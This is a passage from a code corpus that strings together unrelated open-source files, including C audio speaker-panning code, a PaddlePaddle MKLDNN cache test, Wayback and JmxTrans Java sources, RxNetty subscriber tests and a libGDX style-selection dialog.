SetSpeakerArrangement("layout_51SIDECHN", SpeakerAngle, Speaker2Chan, Device->NumChan);
break;
case DevFmtX61:
Device->NumChan = 6;
Speaker2Chan[0] = SIDE_LEFT;
Speaker2Chan[1] = FRONT_LEFT;
Speaker2Chan[2] = FRONT_CENTER;
Speaker2Chan[3] = FRONT_RIGHT;
Speaker2Chan[4] = SIDE_RIGHT;
Speaker2Chan[5] = BACK_CENTER;
SpeakerAngle[0] = F_PI/180.0f * -90.0f;
SpeakerAngle[1] = F_PI/180.0f * -30.0f;
SpeakerAngle[2] = F_PI/180.0f * 0.0f;
SpeakerAngle[3] = F_PI/180.0f * 30.0f;
SpeakerAngle[4] = F_PI/180.0f * 90.0f;
SpeakerAngle[5] = F_PI/180.0f * 180.0f;
SetSpeakerArrangement("layout_61CHN", SpeakerAngle, Speaker2Chan, Device->NumChan);
break;
case DevFmtX71:
Device->NumChan = 7;
Speaker2Chan[0] = BACK_LEFT;
Speaker2Chan[1] = SIDE_LEFT;
Speaker2Chan[2] = FRONT_LEFT;
Speaker2Chan[3] = FRONT_CENTER;
Speaker2Chan[4] = FRONT_RIGHT;
Speaker2Chan[5] = SIDE_RIGHT;
Speaker2Chan[6] = BACK_RIGHT;
SpeakerAngle[0] = F_PI/180.0f * -150.0f;
SpeakerAngle[1] = F_PI/180.0f * -90.0f;
SpeakerAngle[2] = F_PI/180.0f * -30.0f;
SpeakerAngle[3] = F_PI/180.0f * 0.0f;
SpeakerAngle[4] = F_PI/180.0f * 30.0f;
SpeakerAngle[5] = F_PI/180.0f * 90.0f;
SpeakerAngle[6] = F_PI/180.0f * 150.0f;
SetSpeakerArrangement("layout_71CHN", SpeakerAngle, Speaker2Chan, Device->NumChan);
break;
}
for(pos = 0; pos < LUT_NUM; pos++)
{
ALfloat *PanningLUT = Device->PanningLUT[pos];
/* clear all values */
for(s = 0; s < MAXCHANNELS; s++)
PanningLUT[s] = 0.0f;
if(Device->NumChan == 1)
{
PanningLUT[Speaker2Chan[0]] = 1.0f;
continue;
}
/* source angle */
Theta = aluLUTpos2Angle(pos);
/* set panning values */
for(s = 0; s < Device->NumChan - 1; s++)
{
if(Theta >= SpeakerAngle[s] && Theta < SpeakerAngle[s+1])
{
/* source between speaker s and speaker s+1 */
Alpha = (Theta-SpeakerAngle[s]) /
(SpeakerAngle[s+1]-SpeakerAngle[s]);
PanningLUT[Speaker2Chan[s]] = aluSqrt(1.0f-Alpha);
PanningLUT[Speaker2Chan[s+1]] = aluSqrt( Alpha);
break;
}
}
if(s == Device->NumChan - 1)
{
/* source between last and first speaker */
if(Theta < SpeakerAngle[0])
Theta += F_PI*2.0f;
Alpha = (Theta-SpeakerAngle[s]) /
(F_PI*2.0f + SpeakerAngle[0]-SpeakerAngle[s]);
PanningLUT[Speaker2Chan[s]] = aluSqrt(1.0f-Alpha);
PanningLUT[Speaker2Chan[0]] = aluSqrt( Alpha);
}
}
}
| 5,736 |
584 | //
// compat.h
// AppleIntelWifiAdapter
//
// Created by <NAME> on 3/31/20.
// Copyright ยฉ 2020 IntelWifi for MacOS authors. All rights reserved.
//
/* Original file, with LOTS of functionality ripped out that was unnecessary */
#ifndef APPLEINTELWIFIADAPTER_COMPAT_COMPAT_H_
#define APPLEINTELWIFIADAPTER_COMPAT_COMPAT_H_
#include <sys/kpi_mbuf.h>
#include "openbsd/ieee80211/ieee80211_amrr.h"
#include "openbsd/ieee80211/ieee80211_mira.h"
#include "openbsd/ieee80211/ieee80211_var.h"
#endif // APPLEINTELWIFIADAPTER_COMPAT_COMPAT_H_
| 229 |
319 | # zwei 05/16/14
# default args
foo = 1
bars = []
for i in range(2):
def bar(f=foo):
print(f)
bars.append(bar)
foo += 1
bars[0]()
foo = 2
bars[1]()
| 87 |
17,085 | <filename>paddle/fluid/inference/tests/api/analyzer_detect_functional_mkldnn_tester.cc
/* Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License. */
#include <gtest/gtest.h>
#include <fstream>
#include <iostream>
#include "paddle/fluid/inference/tests/api/tester_helper.h"
#include "paddle/fluid/platform/device_context.h"
#include "paddle/fluid/platform/place.h"
DEFINE_string(infer_shape, "", "data shape file");
DEFINE_int32(sample, 20, "number of sample");
namespace paddle {
namespace inference {
namespace analysis {
struct Record {
std::vector<float> data;
std::vector<int32_t> shape;
};
Record ProcessALine(const std::string &line, const std::string &shape_line) {
VLOG(3) << "process a line";
Record record;
std::vector<std::string> data_strs;
split(line, ' ', &data_strs);
for (auto &d : data_strs) {
record.data.push_back(std::stof(d));
}
std::vector<std::string> shape_strs;
split(shape_line, ' ', &shape_strs);
for (auto &s : shape_strs) {
record.shape.push_back(std::stoi(s));
}
return record;
}
void SetConfig(AnalysisConfig *cfg) {
cfg->SetModel(FLAGS_infer_model + "/model", FLAGS_infer_model + "/params");
cfg->DisableGpu();
// cfg->SwitchIrDebug(); // Enable to have graphs dumped
cfg->SwitchSpecifyInputNames(false);
cfg->SetCpuMathLibraryNumThreads(FLAGS_cpu_num_threads);
}
void SetInput(std::vector<std::vector<PaddleTensor>> *inputs,
const std::string &line, const std::string &shape_line) {
auto record = ProcessALine(line, shape_line);
PaddleTensor input;
input.shape = record.shape;
input.dtype = PaddleDType::FLOAT32;
size_t input_size = record.data.size() * sizeof(float);
input.data.Resize(input_size);
memcpy(input.data.data(), record.data.data(), input_size);
std::vector<PaddleTensor> input_slots;
input_slots.assign({input});
(*inputs).emplace_back(input_slots);
}
#ifdef PADDLE_WITH_MKLDNN
int GetNumCachedObjects(void) {
auto &pool = platform::DeviceContextPool::Instance();
platform::CPUPlace place;
auto onednn_dev_ctx =
dynamic_cast<platform::MKLDNNDeviceContext *>(pool.Get(place));
return onednn_dev_ctx->GetCachedObjectsNumber();
}
void validate_cache_onednn(int cache_capacity = 1) {
AnalysisConfig cfg;
SetConfig(&cfg);
cfg.EnableMKLDNN();
cfg.SetMkldnnCacheCapacity(cache_capacity);
auto predictor = CreatePaddlePredictor<AnalysisConfig>(cfg);
std::vector<std::vector<PaddleTensor>> ref_outputs;
std::vector<std::vector<PaddleTensor>> input_slots_all;
std::ifstream file(FLAGS_infer_data);
std::ifstream infer_file(FLAGS_infer_shape);
std::vector<std::string> lines;
std::vector<std::string> shape_lines;
// Let's work with 4 samples
auto num_samples = 4;
ref_outputs.resize(num_samples);
lines.resize(num_samples);
shape_lines.resize(num_samples);
// Let's remember number of cached objects before
// execution and after every single execution
std::vector<int> cache_filling;
cache_filling.push_back(GetNumCachedObjects());
// compute sequentially prediction
for (int i = 0; i < num_samples; ++i) {
std::getline(file, lines[i]);
std::getline(infer_file, shape_lines[i]);
SetInput(&input_slots_all, lines[i], shape_lines[i]);
predictor->Run(input_slots_all[i], &ref_outputs[i], FLAGS_batch_size);
// record number of cached objects
cache_filling.push_back(GetNumCachedObjects());
}
file.close();
infer_file.close();
// Pick first output tensor from model
// as internally reorders may be called
// so it will impact cache size
auto output_names = predictor->GetOutputNames();
auto output_t = predictor->GetOutputTensor(output_names[0]);
std::vector<int> output_shape = output_t->shape();
size_t out_num = std::accumulate(output_shape.begin(), output_shape.end(), 1,
std::multiplies<int>());
std::vector<float> out_data;
out_data.resize(out_num);
output_t->CopyToCpu(out_data.data());
// Release predictor (relevant cache should be emptied)
predictor.reset(nullptr);
cache_filling.push_back(GetNumCachedObjects());
// Compare results
// First and last value should be equal e.g. before using cache (empty) and
// after releasing executor
PADDLE_ENFORCE_EQ(
cache_filling[0], cache_filling[cache_filling.size() - 1],
platform::errors::Fatal("Cache size before execution and after "
"releasing Executor do not match"));
// Iterate to check if cache is not increasing
// over exceeding cache capacity
if (cache_capacity != 0) {
for (int i = cache_capacity + 1; i < num_samples + 1; ++i) {
PADDLE_ENFORCE_EQ(
cache_filling[cache_capacity], cache_filling[i],
platform::errors::Fatal("Cache capacity should not increase "
"after full capacity is used"));
}
}
}
TEST(Analyzer_detect, validate_cache_onednn) {
validate_cache_onednn(2 /*cache_capacity */);
}
#endif
} // namespace analysis
} // namespace inference
} // namespace paddle
| 2,006 |
375 | /*
* This file is part of the Wayback archival access software
* (http://archive-access.sourceforge.net/projects/wayback/).
*
* Licensed to the Internet Archive (IA) by one or more individual
* contributors.
*
* The IA licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.archive.wayback.proxy;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import org.archive.wayback.RequestParser;
import org.archive.wayback.core.WaybackRequest;
import org.archive.wayback.exception.BadQueryException;
import org.archive.wayback.exception.BetterRequestException;
import org.archive.wayback.requestparser.CompositeRequestParser;
import org.archive.wayback.requestparser.FormRequestParser;
import org.archive.wayback.requestparser.OpenSearchRequestParser;
import org.archive.wayback.util.bdb.BDBMap;
import org.archive.wayback.webapp.AccessPoint;
/**
*
*
* @author brad
* @version $Date$, $Revision$
*/
public class ProxyRequestParser extends CompositeRequestParser {
private ProxyReplayRequestParser prrp = new ProxyReplayRequestParser(this);
protected RequestParser[] getRequestParsers() {
prrp.init();
RequestParser[] theParsers = {
prrp,
new OpenSearchRequestParser(this),
new FormRequestParser(this)
};
return theParsers;
}
public List<String> getLocalhostNames() {
return prrp.getLocalhostNames();
}
public void setLocalhostNames(List<String> localhostNames) {
prrp.setLocalhostNames(localhostNames);
}
public WaybackRequest parse(HttpServletRequest httpRequest,
AccessPoint wbContext) throws BadQueryException, BetterRequestException {
WaybackRequest wbRequest = super.parse(httpRequest, wbContext);
if (wbRequest != null) {
// Get the id from the request. If no id, use the ip-address instead.
// Then get the timestamp (or rather datestr) matching this id.
String id = httpRequest.getHeader("Proxy-Id");
if (id == null) {
id = httpRequest.getRemoteAddr();
}
// First try exact timestamp from replayDateStr
String replayDateStr = httpRequest.getHeader("Proxy-Timestamp");
if (replayDateStr != null) {
BDBMap.addTimestampForId(httpRequest.getContextPath(), id, replayDateStr);
} else {
// TODO: This is hacky.
replayDateStr = BDBMap.getTimestampForId(httpRequest.getContextPath(), id);
}
wbRequest.setReplayTimestamp(replayDateStr);
wbRequest.setAnchorTimestamp(replayDateStr);
}
return wbRequest;
}
/**
* @return the addDefaults
*/
public boolean isAddDefaults() {
return prrp.isAddDefaults();
}
/**
* @param addDefaults the addDefaults to set
*/
public void setAddDefaults(boolean addDefaults) {
prrp.setAddDefaults(addDefaults);
}
}
| 1,247 |
1,168 | /**
* The MIT License
* Copyright ยฉ 2010 JmxTrans team
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.googlecode.jmxtrans.model;
import org.junit.Test;
import static org.assertj.core.api.Assertions.assertThat;
public class EqualsTests {
@Test
public void testQuery() {
Query q1 = Query.builder()
.setObj("obj:key=val")
.addKeys("key1", "key2")
.addAttr("foo", "bar")
.setResultAlias("alias")
.build();
// same as q1
Query q2 = Query.builder()
.setObj("obj:key=val")
.addKeys("key1", "key2")
.addAttr("foo", "bar")
.setResultAlias("alias")
.build();
// different
Query q3 = Query.builder()
.setObj("obj3:key=val")
.addKeys("key1", "key2")
.addAttr("foo", "bar")
.setResultAlias("alias")
.build();
assertThat(q1).isEqualTo(q2);
assertThat(q1).isNotEqualTo(q3);
}
@Test
public void testQuery2() {
Query q1 = Query.builder()
.setObj("*:key=val")
.addKeys("key1", "key2")
.addAttr("foo", "bar")
.setResultAlias("alias")
.build();
// not same as q1
Query q2 = Query.builder()
.setObj("obj:key=val")
.addKeys("key1", "key2")
.addAttr("foo", "bar")
.setResultAlias("alias")
.build();
assertThat(q1).isNotEqualTo(q2);
}
}
| 836 |
678 | <filename>Gems/AtomTressFX/External/Code/src/SceneGLTFImpl.h
// Copyright(c) 2019 Advanced Micro Devices, Inc.All rights reserved.
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files(the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and / or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions :
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#pragma once
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
#include <windowsx.h>
#include <DirectXMath.h>
using namespace DirectX;
class GLTFCommon;
// C RunTime Header Files
#include <malloc.h>
#include <map>
#include <vector>
#include <mutex>
#include <fstream>
#include <memory>
#include <cassert>
#include "GLTF/GLTFTexturesAndBuffers.h"
#include "Base/DynamicBufferRing.h"
#include "Base/StaticBufferPool.h"
#include "Base/ShaderCompiler.h"
#include "GLTF/GltfPbrPass.h"
#include "GLTF/GltfDepthPass.h"
#include "TressFXCommon.h"
struct EI_RenderTargetSet;
class EI_Scene
{
public:
struct State
{
float time;
Camera camera;
float iblFactor;
float emmisiveFactor;
};
EI_Scene() : m_pGLTFTexturesAndBuffers(nullptr), m_pGLTFCommon(nullptr) {}
~EI_Scene() { OnDestroy(); }
void OnCreate(EI_Device* device, EI_RenderTargetSet* renderTargetSet, EI_RenderTargetSet* shadowRenderTargetSet, const std::string& path, const std::string& fileName, const std::string& bonePrefix, float startOffset);
void OnDestroy();
void OnBeginFrame(float deltaTime, float aspect);
void OnRender();
void OnRenderLight(uint32_t LightIndex);
void OnResize(uint32_t width, uint32_t height);
uint32_t GetSceneLightCount() const { return static_cast<uint32_t>(m_SceneLightInfo.size()); }
const Light& GetSceneLightInfo(uint32_t Index) const { return m_SceneLightInfo[Index]; }
AMD::float4x4 GetMV() const { return *(AMD::float4x4*)&m_state.camera.GetView(); }
AMD::float4x4 GetMVP() const { return *(AMD::float4x4*)&(m_state.camera.GetView() * m_state.camera.GetProjection()); }
AMD::float4x4 GetInvViewProjMatrix() const { return *(AMD::float4x4*) & (XMMatrixInverse(nullptr, m_state.camera.GetView() * m_state.camera.GetProjection())); }
AMD::float4 GetCameraPos() const { return *(AMD::float4*)&m_state.camera.GetPosition(); }
std::vector<XMMATRIX> GetWorldSpaceSkeletonMats(int skinNumber) const { return m_pGLTFCommon->m_pCurrentFrameTransformedData->m_worldSpaceSkeletonMats[skinNumber]; }
int GetBoneIdByName(int skinNumber, const char * name);
private:
void ComputeGlobalIdxToSkinIdx();
EI_Device* m_pDevice;
std::unique_ptr<EI_GLTFTexturesAndBuffers> m_pGLTFTexturesAndBuffers;
GLTFCommon* m_pGLTFCommon;
std::unique_ptr<EI_GltfPbrPass> m_gltfPBR;
std::unique_ptr<EI_GltfDepthPass> m_gltfDepth;
State m_state;
std::string m_bonePrefix;
float m_startOffset = 0;
// cache inverse index mapping because cauldron doesnt do that
std::vector<std::vector<int>> m_globalIdxToSkinIdx;
std::vector<Light> m_SceneLightInfo;
float m_animationTime;
float m_roll;
float m_pitch;
float m_distance;
};
| 1,679 |
312 | #ifndef __H263D_API_H__
#define __H263D_API_H__
#include "parser_api.h"
#ifdef __cplusplus
extern "C" {
#endif
extern const ParserApi api_h263d_parser;
#ifdef __cplusplus
}
#endif
#endif
| 93 |
1,299 | <filename>rxnetty-common/src/test/java/io/reactivex/netty/channel/WriteStreamSubscriberTest.java<gh_stars>1000+
/*
* Copyright 2015 Netflix, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package io.reactivex.netty.channel;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelPromise;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.logging.LoggingHandler;
import io.reactivex.netty.channel.BackpressureManagingHandler.BytesWriteInterceptor;
import io.reactivex.netty.channel.BackpressureManagingHandler.WriteStreamSubscriber;
import io.reactivex.netty.test.util.MockProducer;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.ExternalResource;
import org.junit.runner.Description;
import org.junit.runners.model.Statement;
import java.io.IOException;
import java.util.Queue;
import static org.hamcrest.MatcherAssert.*;
import static org.hamcrest.Matchers.*;
public class WriteStreamSubscriberTest {
@Rule
public final SubscriberRule subscriberRule = new SubscriberRule();
@Test(timeout = 60000)
public void testOnStart() throws Exception {
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(false));
subscriberRule.start();
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(false));
assertThat("Unexpected request made to the producer.", subscriberRule.mockProducer.getRequested(),
is(subscriberRule.defaultRequestN()));
}
@Test(timeout = 60000)
public void testUnsubscribeOnPromiseCancel() throws Exception {
subscriberRule.start();
assertThat("Subsriber isn't subscribed.", subscriberRule.subscriber.isUnsubscribed(), is(false));
subscriberRule.channelPromise.cancel(false);
assertThat("Promise not cancelled.", subscriberRule.channelPromise.isCancelled(), is(true));
assertThat("Subsriber isn't unsubscribed.", subscriberRule.subscriber.isUnsubscribed(), is(true));
}
@Test(timeout = 60000)
public void testWriteCompleteBeforeStream() throws Exception {
subscriberRule.start();
String msg1 = "msg1";
subscriberRule.writeAndFlushMessages(msg1);
subscriberRule.assertMessagesWritten(msg1);
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(false));
subscriberRule.subscriber.onCompleted();
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(true));
assertThat("Unexpected promise result.", subscriberRule.channelPromise.isSuccess(), is(true));
}
@Test(timeout = 60000)
public void testWriteCompleteAfterStream() throws Exception {
subscriberRule.start();
String msg1 = "msg1";
subscriberRule.writeMessages(msg1);
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(false));
subscriberRule.subscriber.onCompleted();
/*Complete when write completes.*/
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(false));
subscriberRule.channel.flush(); /*Completes write*/
subscriberRule.assertMessagesWritten(msg1);
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(true));
assertThat("Unexpected promise result.", subscriberRule.channelPromise.isSuccess(), is(true));
}
@Test(timeout = 60000)
public void testMultiWrite() throws Exception {
subscriberRule.start();
String msg1 = "msg1";
String msg2 = "msg2";
subscriberRule.writeMessages(msg1, msg2);
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(false));
subscriberRule.subscriber.onCompleted();
/*Complete when write completes.*/
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(false));
subscriberRule.channel.flush(); /*Completes write*/
subscriberRule.assertMessagesWritten(msg1, msg2);
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(true));
assertThat("Unexpected promise result.", subscriberRule.channelPromise.isSuccess(), is(true));
}
@Test(timeout = 60000)
public void testWriteFailed() throws Exception {
subscriberRule.start();
String msg1 = "msg1";
subscriberRule.writeMessages(msg1);
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(false));
subscriberRule.channel.close();
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(true));
assertThat("Unexpected promise result.", subscriberRule.channelPromise.isSuccess(), is(false));
}
@Test(timeout = 60000)
public void testStreamError() throws Exception {
subscriberRule.start();
subscriberRule.sendMessagesAndAssert(1);
subscriberRule.subscriber.onError(new IOException());
assertThat("Unexpected promise completion state.", subscriberRule.channelPromise.isDone(), is(true));
assertThat("Unexpected promise result.", subscriberRule.channelPromise.isSuccess(), is(false));
}
@Test(timeout = 60000)
public void testRequestMoreNotRequired() throws Exception {
subscriberRule.init(4);
subscriberRule.start();
assertThat("Unexpected request made to the producer.", subscriberRule.mockProducer.getRequested(),
is(subscriberRule.defaultRequestN()));
subscriberRule.sendMessagesAndAssert(2); // Pending: 4 - 2 : low water mark: 4/2
subscriberRule.subscriber.requestMoreIfNeeded(subscriberRule.defaultRequestN);
assertThat("Unexpected request made to the producer.", subscriberRule.mockProducer.getRequested(),
is(subscriberRule.defaultRequestN()));
}
@Test(timeout = 60000)
public void testRequestMoreRequired() throws Exception {
subscriberRule.init(4);
subscriberRule.start();
assertThat("Unexpected request made to the producer.", subscriberRule.mockProducer.getRequested(),
is(subscriberRule.defaultRequestN()));
subscriberRule.sendMessagesAndAssert(3); // Pending: 4 - 3 : low water mark: 4/2
subscriberRule.subscriber.requestMoreIfNeeded(subscriberRule.defaultRequestN);
assertThat("Unexpected request made to the producer.", subscriberRule.mockProducer.getRequested(),
is(7L));// request: 4 + 4 - (4 - 3)
}
@Test(timeout = 60000)
public void testLowerMaxBufferSize() throws Exception {
subscriberRule.init(4);
subscriberRule.start();
subscriberRule.subscriber.requestMoreIfNeeded(2);
assertThat("Unexpected request made to the producer.", subscriberRule.mockProducer.getRequested(),
is(subscriberRule.defaultRequestN()));
}
@Test(timeout = 60000)
public void testLowerMaxBufferSizeAndThenMore() throws Exception {
subscriberRule.init(8);
subscriberRule.start();
subscriberRule.subscriber.requestMoreIfNeeded(6);
subscriberRule.sendMessagesAndAssert(6); // Pending: 8 - 6 : low water mark: 6/2
subscriberRule.subscriber.requestMoreIfNeeded(6);
assertThat("Unexpected request made to the producer.", subscriberRule.mockProducer.getRequested(),
is(12L)); // requestN: 8 + 6 - (8 - 6)
}
@Test(timeout = 60000)
public void testHigherMaxBufferSize() throws Exception {
subscriberRule.init(4);
subscriberRule.start();
subscriberRule.subscriber.requestMoreIfNeeded(6);
assertThat("Unexpected request made to the producer.", subscriberRule.mockProducer.getRequested(),
is(6L)); // requestN: 4 + 6 - 4
}
public static class SubscriberRule extends ExternalResource {
private WriteStreamSubscriber subscriber;
private ChannelPromise channelPromise;
private EmbeddedChannel channel;
private MockProducer mockProducer;
private int defaultRequestN;
@Override
public Statement apply(final Statement base, Description description) {
return new Statement() {
@Override
public void evaluate() throws Throwable {
init(BytesWriteInterceptor.MAX_PER_SUBSCRIBER_REQUEST);
base.evaluate();
}
};
}
protected void init(int defaultRequestN) {
this.defaultRequestN = defaultRequestN;
channel = new EmbeddedChannel(new LoggingHandler());
channelPromise = channel.newPromise();
ChannelHandlerContext ctx = channel.pipeline().firstContext();
subscriber = new WriteStreamSubscriber(ctx, channelPromise, defaultRequestN().intValue());
mockProducer = new MockProducer();
}
public void start() {
subscriber.onStart(); /*So that setProducer does not request Long.MAX_VALUE*/
subscriber.setProducer(mockProducer);
mockProducer.assertBackpressureRequested();
mockProducer.assertIllegalRequest();
}
public void writeAndFlushMessages(Object... msgs) {
writeMessages(msgs);
channel.flush();
}
public void writeMessages(Object... msgs) {
for (Object msg : msgs) {
subscriber.onNext(msg);
}
}
public void assertMessagesWritten(Object... msgs) {
Queue<Object> outboundMessages = channel.outboundMessages();
if (null == msgs || msgs.length == 0) {
assertThat("Unexpected number of messages written on the channel.", outboundMessages, is(empty()));
return;
}
assertThat("Unexpected number of messages written on the channel.", outboundMessages, hasSize(msgs.length));
assertThat("Unexpected messages written on the channel.", outboundMessages, contains(msgs));
}
protected void sendMessagesAndAssert(int count) {
String[] msgs = new String[count];
for (int i = 0; i < count; i++) {
msgs[i] = "msg" + i;
}
writeAndFlushMessages(msgs);
assertThat("Unexpected promise completion state.", channelPromise.isDone(), is(false));
assertMessagesWritten(msgs);
}
public Long defaultRequestN() {
return Long.valueOf(defaultRequestN);
}
}
} | 4,136 |
349 | /*
* The MIT License
*
* Copyright (c) 2021 <NAME>.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.ray3k.skincomposer.dialog;
import com.badlogic.gdx.Input.Keys;
import com.badlogic.gdx.scenes.scene2d.*;
import com.badlogic.gdx.scenes.scene2d.ui.*;
import com.badlogic.gdx.scenes.scene2d.utils.ChangeListener;
import com.badlogic.gdx.utils.Array;
import com.ray3k.skincomposer.Main;
import com.ray3k.skincomposer.data.CustomClass;
import static com.ray3k.skincomposer.Main.*;
/**
*
* @author Raymond
*/
public class DialogCustomStyleSelection extends Dialog {
public DialogCustomStyleSelection() {
super("Select a style...", skin, "bg");
populate();
}
private void populate() {
var t = getContentTable();
t.pad(5);
var table = new Table();
t.add(table).expandY();
table.defaults().space(5);
var label = new Label("Class:", getSkin());
table.add(label).right();
var selectBox = new SelectBox<String>(getSkin());
selectBox.setName("classes");
table.add(selectBox).growX().minWidth(100);
selectBox.addListener(handListener);
selectBox.addListener(new ChangeListener() {
@Override
public void changed(ChangeListener.ChangeEvent event, Actor actor) {
var selectBox = (SelectBox<String>) actor;
populateStyles(selectBox.getSelectedIndex());
}
});
table.row();
label = new Label("Style:", getSkin());
table.add(label).right();
selectBox = new SelectBox<>(getSkin());
selectBox.setName("styles");
table.add(selectBox).growX().minWidth(100);
selectBox.addListener(handListener);
populateClasses();
populateStyles(0);
t = getButtonTable();
t.pad(5);
t.defaults().space(5).minWidth(75);
var textButton = new TextButton("OK", getSkin());
button(textButton, true);
textButton.addListener(handListener);
textButton = new TextButton("Cancel", getSkin());
button(textButton, false);
textButton.addListener(handListener);
key(Keys.ENTER, true).key(Keys.ESCAPE, false);
}
private void populateClasses() {
var classNames = new Array<String>();
for (Class clazz : Main.BASIC_CLASSES) {
classNames.add(clazz.getSimpleName());
}
for (CustomClass clazz : jsonData.getCustomClasses()) {
classNames.add(clazz.getDisplayName());
}
SelectBox<String> selectBox = findActor("classes");
selectBox.setItems(classNames);
}
private void populateStyles(int index) {
var styleNames = new Array<String>();
if (index < Main.BASIC_CLASSES.length) {
var styles = jsonData.getClassStyleMap().get(Main.BASIC_CLASSES[index]);
for (var style : styles) {
styleNames.add(style.name);
}
} else {
var styles = jsonData.getCustomClasses().get(index - Main.BASIC_CLASSES.length).getStyles();
for (var style : styles) {
styleNames.add(style.getName());
}
}
SelectBox<String> selectBox = findActor("styles");
selectBox.setItems(styleNames);
}
@Override
public Dialog show(Stage stage, Action action) {
fire(new DialogEvent(DialogEvent.Type.OPEN));
return super.show(stage, action);
}
@Override
public boolean remove() {
fire(new DialogEvent(DialogEvent.Type.CLOSE));
return super.remove();
}
@Override
protected void result(Object object) {
if ((boolean) object) {
var style = ((SelectBox<String>) findActor("styles")).getSelected();
fire(new DialogCustomStyleSelectionEvent(DialogCustomStyleSelectionEvent.Type.CONFIRM, style));
} else {
fire(new DialogCustomStyleSelectionEvent(DialogCustomStyleSelectionEvent.Type.CANCEL));
}
}
public static class DialogCustomStyleSelectionEvent extends Event {
public static enum Type {
CONFIRM, CANCEL
}
private Type type;
private String style;
public DialogCustomStyleSelectionEvent(Type type) {
this.type = type;
}
public DialogCustomStyleSelectionEvent(Type type, String style) {
this.type = type;
